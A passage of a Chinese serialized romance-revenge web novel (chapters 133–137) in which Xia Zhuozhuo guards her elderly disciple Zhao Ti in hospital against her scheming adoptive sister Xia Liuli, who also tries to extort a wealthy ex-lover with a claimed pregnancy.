结果不知道为什么,一开始还算顺风顺水的事业,在这近三年里屡战屡败。 这次终于有了希望,她很为儿子高兴。 夏怀呈说:“多亏了小七。” 夏灼灼眼皮一跳,还以为夏怀呈猜到了什么,下一秒就听夏怀呈说:“小七没回来的时候,我每次投资都会失败,她一回来,我的项目就成了。是她把福气带给了我。” 夏灼灼不着痕迹地舒了一口气。 如果夏怀呈知道自己做了什么,他不会高兴的。 他是一个凭良心做事的人。 为了自己的前途,把好不容易送进去的那个人又接出来,他做不出这样的事。 但正因为夏怀呈做不出来,所以她来帮他做。 她做事,只看结果,不问过程。 一味地当个好人,只会拖累最后的结果。 过直易折。 这个道理夏怀呈早晚得懂,但不是现在,要慢慢来。 不过窦斯礼就算过段时间出来了,她也不会让他活过三天。 这种人,就该为死去的人以命赔罪。 关在里面? 太便宜他了。 那位方小姐出车祸的监控,谷仔发给她看过。 第一次撞人之后,方小姐并没有死。 是窦斯礼怕了,又折回来,反复碾压才死的。 地狱空荡荡,恶魔在人间,她要把恶魔塞回地狱。 第134章 讨厌司慎行吗 夏家人还在祝贺夏怀呈,没发现夏灼灼眼底闪动的冰冷碎芒。 晚上,夏灼灼再次为大哥进行了治疗。 今天晚上,她用了鬼门十三针的第一针。 第一针,指的不是一根银针,而是第一套针法。 结束后,夏灼灼仿佛从水里浸透过,浑身都是汗。 还是夏六把她扶回了房间。 期间夏怀武听到动静,要过来帮忙,被夏灼灼拒绝了。 他眼里有明显的失落。 不过他想,如果成功为她办好古武堂的事情,她或许能对自己稍微改观一点。 …… 第二天,宁穗香说要办个庆祝宴。 只不过不邀请外人,只自己家里人一起吃顿饭。 但宁穗香提起了司慎行。 “灼灼,你问一下慎行,晚上有没有空来家里吃饭。” 夏灼灼想也不想地说:“他很忙,估计没空来吃饭。” 宁穗香顿了下,问她:“灼灼,你很讨厌他吗?” “……” “妈要听实话。” 夏灼灼只好实话实说:“不讨厌。” 宁穗香稍稍放心,说:“那就问问他,他要是来最好,不来也没关系。” 她始终记得那天接风宴,司慎行跟她说的那些话。 他是对夏灼灼有好感的。 如果他能真心实意护着夏灼灼,她就没有后顾之忧了。 “那我一会儿问问。” 宁穗香怕她答应了却不问,故意说:“你现在就打。” 夏灼灼只好当着宁穗香的面,把电话打了过去。 嘟声只响了一下,司慎行就接了。 夏灼灼很担心他会胡说八道,让宁穗香误会。 好在这次他很正常,只是问她有什么事。 夏灼灼松了一口气的同时,尽可能一板一眼地说:“司先生,我二哥的项目进展很顺利,我妈说想庆祝一下,让我问您晚上有没有时间来吃饭?” 不等司慎行回答,夏灼灼又飞快补了一句:“您要是没时间也没事,正事要紧。” “有时间。” “……” “今天正好很空,晚上几点?” 会议室一屋子的人都盯着司慎行。 今天很空? 今天哪里空了? 因为前两天的台风,一大堆的事情压着得处理。 司慎行似有所觉,抬眸一一扫视过去。 底下的人立刻将脑袋缩了回来,一副“我什么都没听见”的表情。 夏灼灼那边脸色黑了下。 这人是真听不懂还是假听不懂? 她的意思明明很明显…… 宁穗香在这时给她打了个“六”的手势,她只好硬着头皮说:“六点开饭。” “好,替我谢谢阿姨的邀请,我一定到。” 司慎行听到夏灼灼一反常态那么客气地说话,知道宁穗香也在旁边,不忘记拉一波好感,问她:“对了,阿姨身体好点了吗?” “挺好的。” “那我就放心了。” 夏灼灼心里腹诽:你放心什么?又不是你妈。 可宁穗香在旁边,她只好干笑着说:“那您先忙,我先挂了。” “好的,晚上见。” 通话结束,宁穗香笑着说:“你还说他没空,这不是有空吗?好了,我跟你许姨商量一下晚上做什么菜。” 说完,她便乐呵呵地找许姨去了。 夏灼灼叹了口气。 她不希望司慎行跟妈妈走得太近。 走太近,怕妈妈心里对她和司慎行的婚约又生出期盼。 她是不需要别人的保护的,更不需要靠脆弱的婚姻关系来保证自己的安全。 心情复杂间,她接到了霍刚的电话。 “夏小姐。” 夏灼灼有些意外,不是刚跟司慎行打过电话吗? 怎么她的手下又打过来了。 她带着疑惑问:“有什么事吗?” 只听霍刚说:“我安排在医院的人刚才打电话给我,赵大师身体恢复得差不多了,一会儿就要转到普通病房去。我怕您没能及时得到消息,所以赶紧打电话告诉您一声。” 夏灼灼眼睛一亮。 “好,我知道了,谢谢你告诉我。” “应该的。” 挂断电话,夏灼灼稍显低落的心情重新高亢起来。 台风结束,雨过天晴,果然有好消息。 算一算,从出事到现在,已经过了十天了。 比她预想中的恢复速度要慢一些,但想到赵缇的年纪,这恢复速度好像也不算慢了? 夏灼灼着急去见赵缇。 赵缇现在最忌讳被人气到。 他的心脏可受不了任何刺激。 夏灼灼一刻也没耽搁,找到正在跟许姨热热闹闹商量买什么菜的宁穗香,开口道:“妈,我要出去一趟。” 宁穗香疑惑地说:“去哪儿?我一会儿还想带你一块去超市呢,正好你可以买点你自己喜欢吃的菜。” 夏灼灼早就想好了说辞。 “五哥要去医院复查,他不会看检查报告,所以我陪他一块去。您放心,复查完我们就回来。” 宁穗香点头:“好,那你们快去快回。” “嗯。” 夏灼灼应了声,匆匆上楼找夏怀武去了。 她需要夏怀武这个挡箭牌。 许姨看着夏灼灼离开的背影,却是疑惑地问:“七小姐不是跟五少爷不太合得来吗?今天怎么……” 宁穗香一个眼神递过来,许姨连忙噤了声。 “这道菜不好,太油腻,划掉吧。”宁穗香已经收回视线,继续研究她的菜单。 她的女儿,身上好像有很多的秘密。 她有种直觉,最近家里的变化,跟女儿有很大关系。 但女儿不主动说,她就不问。 等哪天她想说了,自己就安安静静地听着。 孩子有自己的秘密,这应该被允许。 她是生了灼灼没错,可夏灼灼并不属于她。 她是独立的个体,是自由的。 做妈的,有时候糊涂一点不是坏事。 这是她养大了那么多个孩子后领悟出来的经验。 …… 楼上。 夏怀武看到夏灼灼主动来找他,心里就是一喜。 “小七,有什么事吗?” 夏灼灼面容淡淡:“我得出门一趟,拿了你回医院当借口,你跟我一起出去一趟吧。出门后,你正好可以去查古武堂的事。” 夏怀武心下一堵。 原来他只是个挡箭牌。 但他很快振作起精神,点头说:“好,那咱们走吧。我开车,先送你要去的地方,等你忙完,你再打给我,我跟你一起回来,免得妈疑心。” 夏灼灼没有拒绝。 夏太太的身体在她的调理下已经大好,不过还没好彻底。 等好彻底了,她如实把自己的情况告诉她。 只是在这之前,她还是不要露出什么端倪比较好。 她是个做事稳妥的人,喜欢万无一失。 上车后,夏灼灼给霍刚发了条消息,让他给一个守在医院那几个手下的电话号码。 霍刚很快把号码发了过去。 夏灼灼看了眼旁边的霍刚,没打电话,而是选择了发短信。 事关夏琉璃,她不信任夏怀武,不能当着他的面提起她。 短信很快收到回复。 【是,夏小姐。】 夏灼灼轻轻吐了口气。 “是有什么重要的事吗?”夏怀武余光瞥了眼她的脸色,见她神色凝重,还是忍不住问了。 “没什么。”夏灼灼说。 夏怀武张了下唇,还想说点什么,但看着夏灼灼冷淡的态度,又把话给咽了回去。 小七这样对他,是他活该。 那天他不分青红皂白就认定夏琉璃是被夏灼灼赶出去的,后来又以为她假扮神医,害死了杜老先生…… 可却她不计前嫌,冒着生命危险来古武堂救了他…… 一桩桩一件件,他现在回想起来都觉得脸红。 他不能奢求太多,只能让时间修复他们的关系。 四十分钟后,车子停在了医院停车场。 夏灼灼正要下车,夏怀武突然拉住她。 “灼灼,我有话要跟你说。” 夏灼灼着急去病房,不耐烦地皱眉:“有什么话等回去后再说吧。” “我只是想跟你说一句谢谢。” “?” 夏怀武深吸了一口气,说:“谢谢你,冒着生命危险来古武堂救我。这话我一直想说,但是一直没有机会。真的谢谢你,小七,如果没有你,我可能已经死了。” 夏灼灼唇瓣一抿,说:“你不用谢我。那天我来古武堂,也不只是为了救你。” 古武堂本来就跟暗部不对付,她只是灭了古武堂的同时,顺手救下他而已。 夏怀武一噎,没想到她会这么说。 但他想不到夏灼灼去古武堂还有什么原因。 “那你……” 正要细问,夏灼灼已经挣脱开他的手。 “有事晚点再说,我走了。” 说完,她“咚”一声关上车门,身影很快就消失在了夏怀武的视线里。 夏怀武更奇怪了。 小七这急急忙忙的,是要去干什么? …… 住院部。 赵缇已经转进了普通病房。 赵家人很快得知了消息赶了过来。 只是在快进病房的时候,被四个人高马大的保镖拦住。 “我说了,你们不能进去。” 赵先生脸色铁青。 “里面躺着的人是我爸!我为什么不能进去?你们到底是什么人?!” 为首的保镖面无表情地说:“我们是司先生的人。” 听到这话,夫妻俩表情微顿,一时间没有说话。 站在赵修凯身后的夏琉璃在这时候开口—— “司先生又怎么样?我们家属进去探病,他凭什么不让?司先生未免也管的太宽了吧?” 这话成功挑起了赵家人的不满。 赵先生说:“我们很感激司先生为我爸做的一切,但拦着我们不让我们进去探病就有点过分了吧?” 第135章 硬闯 “就是!” 赵修凯说话更直接一些。 他几步走上前,来到那几个保镖面前放狠话。 “你们再不滚开,就别怪我不客气了!” 几个保镖脸色没有半点变化,压根不把赵修凯放在眼里。 像赵修凯这种拿画笔的人,怎么会是他们这种拿刀的人的对手? 何况,刚子哥亲口吩咐了,要他们听夏小姐的话行事。 夏小姐不来,他们是不会放任何人进去的,哪怕是一只苍蝇也不行。 几个人不把他们放在眼里的态度更加激怒赵修凯。 “爸!别管他们了,我们硬闯进去,我就不信了,光天化日的,他们还敢对我们动手不成!” “这……” 赵先生有些犹豫。 毕竟这是司慎行的人,他们得罪不起。 可里面的老父亲还不知道是什么情况。 明明已经转到普通病房了,为什么不让他们去看呢? 是不是出了什么事? 赵先生是个孝子,犹豫之下,终于也是鼓起了勇气。 “走!” 强闯,他们也要闯进去! 这边的动静也引得医生和护士们过来查看情况。 人越来越多,四个保镖见状,也有些犹豫起来。 毕竟里面躺着的人,是他们的亲属。 他们的确没理由拦着不让人进。 其中一个说:“要不……让他们进去吧?刚子哥只让我们盯着可疑的人接近赵大师,没说不让家属靠近。” 另一个坚决道:“不行!刚子哥也说了,让我们听从夏小姐的安排。” 自己人起了分歧,正好让对方钻了空子。 夏琉璃一个躬身就从两个人的手臂下钻了过去。 眼看着就要钻进病房里,突然一道身影出现,一把抓住了夏琉璃的后衣领。 夏琉璃只感觉脖子一紧,领子被人攥住,随即人就飞了出去,重重朝地上摔去。 还好赵修凯反应快,及时抱住了夏琉璃的腰,她这才没有摔个狗吃屎。 只是仍然心有余悸,同时,心里一股火往上蹿。 什么人敢这样对她! 夏琉璃站稳后就朝那人看去。 下一秒,她看到了夏灼灼的脸。 夏灼灼跟她长得有三分相似,但那双眼睛却跟她很不同。 不笑的时候,那双幽月一般的眼睛仿佛能冻死人。 “是你……” 又是她! 夏灼灼却懒得跟夏琉璃废话半句,沉声命令四个保镖。 “我出来之前,不准让任何人进去。” 几个人看到夏灼灼就像是有了主心骨,立刻应声:“是!” 夏灼灼便推开了病房的门,转手又把门关上了。 夏琉璃下意识要追进去。 “站住,你等等……” 可下一秒她就被保镖拦住。 “几位不用着急,等夏小姐出来了,你们就可以进去了,不会让你们等太多时间的。” 赵修凯仍然是不服气。 凭什么夏灼灼一个外人可以进去看爷爷,他们自己人却不行? 正要说话,赵先生一个眼神递了过去。 那眼神里是明显的警告。 “爸……” “闭嘴!” 既然他们说了,夏灼灼出来他们就可以进去,那他们也不用着急这一时。 为了等这么几分钟,得罪了司慎行,这可不是什么划算的买卖。 而且很明显,这位夏灼灼小姐,并不是他们的敌人,否则当初也不会进手术室救人了。 他们没必要自己给自己立敌。 赵修凯心里不服气,却也不敢污泥他爸,只好把怒火暂时压了下去。 夏琉璃的怒气却比赵修凯更旺盛。 她本来已经计划好的了。 之前有司慎行的人守着,她进不去ICU,就只能等赵缇出来之后再说。 现在赵缇转到普通病房了,又是身心最脆弱的时候。 她只要利用赵修凯的感情,稍稍一刺激,赵缇势必会再次出事。 为了这个计划,她甚至付出了自己的身体,陪赵修凯睡了一晚。 可眼看就要成功,夏灼灼出现了。 她就像是一个阴魂不散的恶鬼,总是缠着她,坏她的好事! 夏琉璃的两只手紧紧攥成了拳头,连指甲窃入肉里都没察觉。 …… 病房里。 由于病房的门隔音很好,赵缇人又还很虚弱,所以并没有听到外面的动静。 只是看到夏灼灼,他的脸上出现了一丝惊喜的神采。 “师父,你来了。” 赵缇挣扎着要坐起来,被夏灼灼轻轻按住肩头。 “你躺好,别动到刀口。” 赵缇点头。 他的刀口还没好,身上还打着止痛泵。 夏灼灼看他老实躺回去后,开门见山地说:“我今天过来,除了来看你,还是为了给你打预防针的。” “预防针?” 夏灼灼提醒他:“就是上次我跟你说的事情,你孙子跟夏琉璃的事。这两天我叫人打听过,他们现在已经住在一起了。” 赵缇的眉头立刻皱了起来。 “这个不孝顺的东西,居然跟杀我的仇人在一起!” “你冷静一点,我跟你说过的,不能情绪激动,你忘了?” 赵缇做了几个深呼吸,让自己冷静下来。 夏灼灼等他恢复平静才继续开口:“现在夏琉璃和你孙子他们就在门口,我让我的人拦住她了。” 赵缇不敢置信。 “她差点害死了我,居然还敢出现在我面前?” 夏灼灼嗤笑了声:“她不仅敢出现在你的面前,还敢再害死你一次。如果我没猜错的话,她之所以敢过来,就是为了再次刺激你犯病。你一死,她就再也不用害怕事情败露了。” 赵缇瞪大眼睛。 一边是愤怒,一边是不敢相信世界上居然有这么恶毒的人。 但这种腌臜人,夏灼灼见得可太多了。 所以她每次遇到夏琉璃都很平静。 “所以我过来之前,叫我的人拦住了她。不然你现在恐怕又被她气进手术室了。” 赵缇很愤怒,但更多的是感激。 “师父,你救了我两次命。” 从医生的口中,他已经知道,他的手术是夏灼灼做的。 夏灼灼道:“话别说的太早,第二次命能不能救,得看你自己能不能稳得住。” 赵缇到底是上了年纪的人,性子比年轻人稳重。 他既然已经弄清楚了夏琉璃想干什么,就不会让她得逞。 “师父,你特意过来给我打预防针,那是不是你已经想到了对付她的办法?” 夏灼灼颔首,说起了赵修凯。 “你这个孙子,实在是太蠢了点,很多时候愚蠢比坏更让人讨厌。好在,他还有一个优点,那就是对你还算孝顺。” 这段时间,赵修凯只要有时间,就会来看赵缇。 哪怕进不了ICU,也会陪在门外。 赵缇扯唇苦笑。 他不知道是该夸赵修凯还是该骂他。 只听夏灼灼继续说道:“你可以利用你孙子的孝顺,在他心里种下怀疑的种子……” 她把自己的计划娓娓道来。 其实如果不是为了防止赵缇被赵修凯气死,她大可以不用这么麻烦,完成可以直接就用现有的证据把夏琉璃送进去。 但夏琉璃一条命死不足惜,没必要搭上她这个老徒弟的命。 所以需要迂回一番,先让赵修凯认清夏琉璃这个人。 计划说完,赵缇郑重点头。 “我会按照你说的做。” 夏灼灼“嗯”了声,指间出现一枚银针,刺入了赵缇身上的一处穴位。 “控制不住情绪的时候,你就把银针往里面推一点。” “好。” 夏灼灼认为万无一失,便转身离开了。 她不走,夏琉璃不敢唱那一出戏,之后的计划也就无法实施了。 出了病房,夏灼灼没管赵家人。 甚至连多余的一个眼神也没给他们就走了。 赵家夫妇虽然感激夏灼灼出手相助,但是夏灼灼高傲的态度让他们心里隐隐有些不喜。 不过看在她跟司慎行认识的份上,他们什么也没表露出来,只问守在病房的保镖:“我们现在可以进去了吗?” “请进吧。” 保镖没再拦着他们,赵家人就顺利进去了。 夏琉璃狐疑地望了眼夏灼灼的背影,心里莫名有些发慌。 夏灼灼明明在里面跟赵缇聊了那么久,她出来后却什么都没跟自己说,这很奇怪。 不过赵修凯的声音打断了她的出神。 “琉璃?” 夏琉璃回神,跟着赵修凯一起进了病房。 单人病房里,赵缇躺在病床上,左右手都输着液。 赵家夫妇眼眶一热,迎上去说了很多话。 赵缇像是很累,只偶尔答应一声。 正好医生过来叫赵家夫妇去医生办公室,所以病房里很快只剩下赵缇爷孙俩和夏琉璃三个人。 夏琉璃有些心虚。 但想到自己的计划,还是露出了笑容。 “师父。” 赵缇面不改色,说出来的话却很冰冷。 “看来我之前跟你说的话你都忘了,那我就再重复一遍,你这种抄袭犯,不配叫我师父。” 夏琉璃佯装伤心。 漂亮的眸子里盛满泪水。 赵修凯一下子就心疼了。 他揽住夏琉璃的肩膀,对赵缇说:“爷爷,我知道你跟琉璃之间有很多误会,但琉璃都已经跟我说清楚了,这真的只是误会。” 赵缇看着这个自己带大的孙子,不急不缓地开口。 “你是说,她是个抄袭惯犯,多次抄袭自己哥哥的作品当做自己的作品这件事是误会。还是说,她见我犯病,故意丢掉我的药这件事是误会?” 赵修凯脊背一僵。 故意丢掉? 可琉璃明明说,那是她不小心…… 心头情绪正复杂间,夏琉璃拉住了他的手。 “修凯,算了,我就知道师父误会我太深。我今天就不该来这儿。我走了……” 第136章 杀人凶手 夏琉璃的无助、委屈、隐忍,都写在了脸上。 她说着,又对赵缇说:“师父,不管夏灼灼跟你说了什么,我只能说,清者自清,她要是有话,尽管当面对我说,不用背后使阴招。” 说完,她红着眼眶转身准备离开。 赵修凯急了,一把拉住她的手。 “琉璃,你别走,我帮你解释清楚。” 赵缇看着两个人相携的手,恨不得一个耳光扇在赵修凯的脸上。 可想到夏灼灼说的那些计划,他还是忍了下来。 赵修凯稳住夏琉璃后,转身对赵缇说:“爷爷,你犯病的时候的事,琉璃都跟我说了。她当时是太紧张了,所以才会不小心把你的药弄掉。” “所以,你是说,我故意栽赃她?” “……不是。” “那你是什么意思?” 赵修凯想到了夏灼灼。 他立刻说:“是您大病未愈,脑子还不够清醒,才被有心人利用。琉璃的身世很可怜,您千万不要听信别人的谗言,她是个好女孩。” 好女孩…… 赵缇的心跳快起来,那是气的。 夏琉璃在这时再次开口:“师父,我知道你因为夏灼灼很不喜欢我,我可以不做你的徒弟……但请你不要拆散我跟修凯。我们是真心相爱的。” 赵修凯点头。 “爷爷,我们是真心相爱的!不敢您怎么误会她,我都要娶她!我也会帮她证明她的清白的。” 赵缇脸色大变,几乎有点呼吸不上来。 哪怕有夏灼灼打预防针在前,他现在也还是被气的气血上涌。 “家门不幸,我怎么把你养成了这样?!” 赵缇不解。 “爷爷,您最疼我,怎么会宁愿相信夏灼灼那个坏女人,也不愿意相信我呢?孙子难道还会害您不成?” 赵缇的呼吸像是被人卡住了脖子。 他觉得自己快要被气晕过去了。 赵修凯察觉到赵缇的脸色不对,连忙上前。 “爷爷,你哪里不舒服吗?我先不说了,您别生气……” 偏偏在这时,夏琉璃再次开口:“师父,我抄袭的事情,是被夏灼灼陷害的。是她逼我在未来之境比赛的时候抄袭,害我当众丢脸,永远失去参赛资格。她不是个什么好东西,她就是个嫉妒我在夏家比她得人心的坏女人……” 夏琉璃已经确认,夏灼灼的确是赵缇的师父。 并且赵缇非常敬重她。 在赵缇面前说夏灼灼的坏话,赵缇一定会被气死。 “琉璃,你先别说了……”赵修凯担心气坏了老爷子的身体,连忙制止她继续再说下去。 “不行,我一定要说,这次不说,师父以后还不一定能不能见我。” 她说完,又对赵缇继续下猛药。 “师父,您还记得我之前跟你说过的,我被家里的姐妹陷害导致被赶出家门的事吗?” “我那个姐妹,就是夏灼灼!她真的不是什么好人。” “您仔细回想一下您犯病的时候。” “当时我真的不是故意把药丢掉的,真的只是不小心弄掉了药。” “夏灼灼就是看我跟修凯很恩爱,见不得我好,才故意在您神志不清的情况下,编造我的坏话,让您自己都弄不清楚自己的记忆了。” “她说的话,您可一个字都不要相信!” 夏琉璃一边说着气赵缇的话,一边观察着赵缇的表情。 却见赵缇一点都没有要发病的迹象,只是神色冰冷地盯着她。 夏琉璃愣住了。 怎么回事? 为什么赵缇一点反应都没有? 是她说的话还不够气人吗? 明明刚才赵缇还一副呼吸不上来的样子,怎么突然这么冷静? 夏琉璃不知道的是,赵缇早在觉得自己可能控制不住情绪的时候,将夏灼灼扎在他身上的银针往里面推了一点。 银针一推,他突然什么声音都听不到了。 只能看到夏琉璃的嘴巴一张一合。 能听到的时候,他觉得夏琉璃说话的时候很气人,几乎要把他给气死了。 可什么都听不到的时候,他只觉得夏琉璃这副样子非常滑稽,像个小丑。 所以他非但不生气,还有点想笑。 不愧是师父,给他留下了这根银针。 否则说不定他还真要中夏琉璃的招数了。 这种招数虽然下三滥,但还真是致命。 他哪怕做好了十足的心理准备,还是差点就犯病了! 夏琉璃看赵缇越来越平静的表情,心里顿时更加着急起来。 赵缇今天必须得死! 否则,赵修凯早晚会疑心她。 毕竟他们才是有血缘关系的家人。 “师父,我说了这么多,您还是不相信我吗?” 她正要继续说话,去医生办公室那边谈完的赵家夫妇回来了。 他们一眼就看出赵缇的脸色有些不好。 “爸,怎么了?”赵先生上前询问。 赵缇在这时将银针往外拔出。 他的动作都在被子里,没人看得到。 银针拔出的下一瞬,他的耳朵就恢复了听力。 “幸亏你们回来了,否则,我就被这个女人给气死了!” 赵家夫妇错愕地看向夏琉璃。 夏琉璃笑也不是,哭也不是,一时愣在原地,显得十分尴尬。 “夏小姐,你刚才说了什么吗?”赵先生不大高兴地问。 夏琉璃连忙摇头:“我什么都没说……” 赵修凯正要为夏琉璃说话,就见赵太太皱着眉开口说:“刚才医生叫我们去办公室,就是开医嘱的。医生说了,他现在不能有太大的情绪起伏,否则会立刻犯病。所以,还请你先出去吧。” “修凯……”夏琉璃向赵修凯求助。 可赵修凯也十分担心赵缇的安危。 加上赵太太又转达了医生的叮嘱,故而他也不敢让夏琉璃继续说话。 “琉璃,你先出去吧。” “让他们两个都出去!”赵缇命令式地开口。 赵先生立刻照做,把两人半推半赶地赶了出去。 病房的门关上,夫妇两人来到赵缇的床边。 “爸,您可能并不知道,您昏迷的这段时间,他们两个在一起了。您对那个夏琉璃是有什么不满吗?” 赵缇开口就说:“我对一个杀人凶手能有什么满意的?” 夫妇二人诧异一对视。 “爸,您这话是什么意思?” 赵缇一抿唇,把自己犯病的时候的事情全都说了一遍。 两人表情大变。 “爸,你说的可是真的?” “你觉得我是那种会乱说话的人吗?” 当然不是…… “那可需要我们报警?” 赵缇摇头:“暂时不要,你们只需要跟修凯好好聊一聊,让他跟那个夏琉璃断了就行。这人品行恶劣,我不想再被她害死一次!” 这话说得极重,夫妇二人立刻答应下来。 两人又陪了老爷子一会儿,等离开后,立刻找了个机会,叫来赵修凯,复述了一遍老爷子的话。 赵修凯第一反应还是不信。 “琉璃做不出那样的事。她早就跟我说过了,她不是故意的,她只是太紧张了。遇到这种情况,换成谁都会紧张。” 赵太太开口道:“那你的意思是,你爷爷故意冤枉她?” 赵修凯动了动唇,说:“他现在只是神志不清,加上有夏灼灼在他旁边嚼舌根,他才会误会琉璃的。” 赵先生冷笑一声,说:“神志不清?你今天自己亲眼见了你爷爷,你觉得他是神志不清的状态吗?” 赵修凯噎了下。 爷爷的状态很好,虽然有些憔悴,但耳目清明,完全没有一点神志不清的样子。 赵太太叹了一口气,拍拍儿子的肩膀。 “小凯,我跟你爸工作忙,是你爷爷把你带大的。他是什么样的人,你甚至比我们清楚。他可不是那种别人吹一吹耳旁风,他就犯糊涂的人。你啊,还是回去好好想一想吧。” 赵修凯握了下拳头,很快又松开,转身离开了。 回去的路上,他接到了夏琉璃的电话。 电话那头的夏琉璃哭哭啼啼,诉说着自己的委屈。 在这之前,他见夏琉璃这样,心都要碎了,会着急地立刻回去找她。 可奇怪的是,现在她听到夏琉璃的哭声,心里居然觉得她有些聒噪。 赵修凯不知道自己这是怎么了。 他深吸了一口气,对电话那头的夏琉璃说:“你先好好休息,我去忙一点事,忙完就回来。” 说完,他也不管夏琉璃还有没有话要说,直接就挂断了电话。 电话那头,夏琉璃一双眼睛盛着火。 赵修凯这个蠢货,居然这么轻易地就动摇了! 可盛怒过后,害怕又再次袭来。 赵修凯不信她了,她没有了这个挡箭牌,早晚得出事。 不行,她得想个办法,尽快找个能帮她的人。 夏琉璃眼珠子一转,想到了杜浩然。 现在,也只有他能帮她了。 …… 另一边。 赵修凯在挂断电话后,将车子掉头,去了趟未来之境。 他是赵缇的孙子,陈馆长很热情地接待了他。 喝过一杯茶,赵修凯说明来意—— 他想知道,那天未来之境的比赛,到底发生了什么。 一个小时后,赵修凯从未来之境大门里出来,神情恍惚。 爷爷说的,还真是真的。 夏琉璃是个抄袭惯犯。 她不止在未来之境那次比赛中抄袭了别人的作品,还在之前的好几次比赛里,都抄袭了别人的。 夏琉璃说,未来之境那次是被夏灼灼威胁着,所以才抄袭了别人的画。 那以前的比赛呢? 也是夏灼灼威胁她的吗? 可那个时候,夏灼灼根本还没回到夏家。 夏琉璃跟她说过,夏灼灼是在这个月月初回到夏家的。 而上一次的比赛,则是在两个月之前。 时间线上根本对不上。 就在这时,赵修凯收到了一条短信。 短信内容是一个咖啡厅的地址。 第137章 知道夏琉璃的真面目 赵修凯看着短信里显示的地址,俊眉微微皱起。 这是谁发给他的? 不像垃圾广告,更像是……一个提醒。 他犹豫两秒,按照发短信的人的号码打了过去。 原本以为不会有人接通,却没想到嘟声只响了两下就被接了。 “喂?你是哪位?” “是我。夏灼灼。” 赵修凯眼睛一瞪:“是你!” “没错。” “你想干什么?发给我的这个地址,是什么意思?” “你不是也怀疑夏琉璃了吗?去这个地址,你就能清楚一切。” 赵修凯眉头皱紧:“你又想搞什么鬼?” 那边像是很无奈地叹了一口气,随即说:“赵修凯,如果你不是我那个老徒弟唯一的孙子,我不会管你死活。你不是问我这个地址是什么意思吗?夏琉璃现在就在那里,你去了,就能看清楚她是什么人了。” “你……” 赵修凯还想问些什么,但电话已经传来一阵忙音。 他的脸色变得更难看了。 比起夏灼灼,他还是更相信夏琉璃。 可今天他所了解的那些事,又告诉他,夏琉璃不是他以为的那个样子。 抄袭的事情,夏琉璃撒谎了。 那爷爷犯病的事呢? 怀疑的种子已经在心里种下,且有越长越旺盛的意思。 他必须得去看看。 赵修凯不再迟疑,打开车门上了车,直往夏灼灼给的地址去。 …… 咖啡厅里。 夏琉璃左等右等,等的人却迟迟没有来。 就在她以为对方可能不会来了的时候,包厢的门被人推开了。 来人剑眉星目,穿一身剪裁得体的西装。 正是杜浩然。 他开门见山地问:“你真的怀孕了?” ——杜浩然不肯见她,觉得她丢了他的脸。 夏琉璃深知这一点,所以找了个,他不会拒绝自己的借口。 夏琉璃点头:“是……我也是今天刚知道。” 杜浩然动了动唇,却什么话都说不出来。 这个消息,太突然了,突然到他不知道该怎么办了。 原本他是打算听他爸的,再也不跟夏琉璃往来了。 这个世界上优秀漂亮的女人那么多,他对夏琉璃虽然仍然有感情,但是也不是不能放下。 男人跟女人不一样,他们从来都是理智大过感性。 尤其,他现在心里,已经装了另一个,他以前从没想过甚至很厌恶的人。 可夏琉璃怀孕了这个消息,炸得他大脑一片空白。 他犹豫了很久,最终还是过来见夏琉璃了。 “浩然……”夏琉璃摸着自己毫无起伏的肚子,声音伤感地说:“这个孩子,来的不是时候。我会打掉他,但……我觉得你应该有知情权。” 杜浩然骤然蹙眉。 “我没允许你打掉这个孩子!” 夏琉璃苦笑一声,说:“不打掉,难道生下来吗?你不爱我了,你家里人也不喜欢我,不可能让我进门。这个孩子就算生下来,他们也不会接受。留下这么一个生下来就不被祝福的孩子,对他也不公平。” 杜浩然没说话,像是在纠结。 在夏琉璃之前,他有过无数个女人。 但孩子……还是第一个。 这对他来说意义非凡。 杜浩然深吸了一口气,心里已经做好了决定。 “你这两天收拾一下东西,我送你去国外。” 送去国外,也就是说,他不会娶她,但他要这个孩子。 夏琉璃心里很愤怒。 哪怕知道这是假的,她还是很愤怒。 她以为杜浩然至少会看在这个孩子的份上,重新跟她和好。 她以为杜浩然对她,至少还留有那么一点点的感情。 但现实给了她重重一击。 她选中的这个男人,从始至终都成不了她的依靠。 不过她一开始要的,也不是跟杜浩然和好。 他们已经回不去了。 杜家,也绝对不可能接受她。 好在,杜浩然是在意这个“孩子”的。 夏琉璃紧了紧手心,说:“这个孩子能不能留下来,你说了不算。” “我说了不算,那谁说了算?我是这个孩子的爸爸!你没有权利一个人做决定。” 夏琉璃苦笑一声,说:“孩子是我的,我怎么会忍心不要他?但我现在遇上了一件事,有些人不会放过我,也不会放过我肚子里的孩子。” 杜浩然递过去一个询问的眼神。 “什么意思?” 夏琉璃轻轻吸了一口气,有条不紊地说起事情的经过。 “那天从未来之境离开,我抱着试试看的想法,想求赵缇原谅。结果他非但不肯原谅我,还狠狠骂了我一顿。” “可能是他骂的太难听,老天都听不过去,所以他当时就遭了报应,心脏病发作。” “当时,他身上有药,但不小心掉在地上了,让我帮他捡起来。” “我捡起来了,但没给他,而是扔到了窗户外面。” “我以为他必死无疑,但是没想到,他居然被夏灼灼给救了回来!” “现在他醒了,你觉得他会放过我和我肚子里的孩子吗?” 杜浩然唇瓣微张,很错愕地看着她。 像是不敢相信这种话是从她嘴里说出来的。 夏琉璃嗤笑一声,分不清是嘲讽杜浩然还是自嘲。 她开口道:“怎么?你觉得今天第一天才认识我?别傻了,浩然,你知道我是什么人的,你喜欢的,不也就是这样的我吗?而且,你自己难道就是好人了吗?差点死在我手里的,赵缇是第一个。你呢?多少条人命已经死在你手里了?” 杜浩然的脸色很难看。 夏琉璃又笑了下,走到杜浩然面前,牵住了他的手。 “浩然,这个世界上能接受真实的你的,只有我。我们两个,是天作之合,天生的一对坏种。” 杜浩然猛地甩开她的手。 他对她的最后一丝感情,随着夏琉璃撕开两人之间的羞耻布,彻底没了。 “少说这些废话,你想要我怎么做。” 他彻底不在意夏琉璃了,但他要这个孩子。 那是他的血脉。 夏琉璃也不介意他的态度。 打从他说出那句送她出国,她对他的心就已经死了。 她很后悔,后悔不该为了这么一个人,跟夏家闹掰。 但现在说后悔已经晚了,只能尽力为自己争取到她原本应得的东西。 夏琉璃很平静地开口:“赵家就是一个小门小户,对付他们,甚至都不需要动手,只需要你说几句话。你帮我找他们,把消息压下去,然后再送我出国。” 赵修凯已经指望不上了,说不定明天警察就会上门。 所以,杜浩然必须在这之前就威胁他们。 杜家是夏家之后的沪城第一高门,杜浩然说的话,他们不敢不听。 反正赵缇现在已经没事了,他们没必要得罪杜家。 “我出国后,会把孩子好好生下来。生下来之后你给我五千万,从此我跟这个孩子再没有关系。” 夏琉璃开口就是五千万。 